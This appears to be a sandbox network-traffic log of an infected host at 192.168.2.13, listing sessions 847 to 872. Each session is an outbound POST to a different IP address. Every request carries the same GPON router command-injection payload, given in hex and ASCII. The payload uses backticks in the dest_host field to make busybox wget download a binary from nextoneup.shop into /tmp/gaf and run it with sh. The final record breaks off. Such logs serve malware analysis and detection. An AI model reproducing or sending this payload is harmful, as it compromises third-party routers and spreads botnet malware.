847	192.168.2.13	35062	148.182.215.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868330956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
848	192.168.2.13	45962	202.2.227.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868347883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
849	192.168.2.13	47092	210.140.6.238	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868366957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
850	192.168.2.13	51774	123.114.144.203	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868398905 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
851	192.168.2.13	34086	178.156.12.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868423939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
852	192.168.2.13	43936	117.55.65.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868448019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
853	192.168.2.13	56498	79.204.5.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868448019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
854	192.168.2.13	36018	2.104.181.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868469000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
855	192.168.2.13	53612	118.104.161.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868479967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
856	192.168.2.13	37496	123.141.131.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868490934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
857	192.168.2.13	57462	109.243.180.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868511915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
858	192.168.2.13	45712	212.41.216.178	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868532896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
859	192.168.2.13	54734	117.69.137.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868551016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
860	192.168.2.13	43584	5.239.56.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868571997 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
861	192.168.2.13	44086	94.127.69.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868598938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
862	192.168.2.13	44790	212.218.215.97	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868630886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
863	192.168.2.13	60388	2.209.66.142	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868648052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
864	192.168.2.13	56086	148.54.90.6	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868664980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
865	192.168.2.13	59042	109.183.233.101	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868695974 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
866	192.168.2.13	44608	42.45.69.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868726015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
867	192.168.2.13	46572	123.240.119.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868757963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
868	192.168.2.13	50986	148.70.242.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868779898 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
869	192.168.2.13	46584	148.242.84.77	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868798971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
870	192.168.2.13	54582	42.223.250.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868807077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
871	192.168.2.13	48532	117.238.196.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868830919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
872	192.168.2.13	39322	148.121.101.50	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868869066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 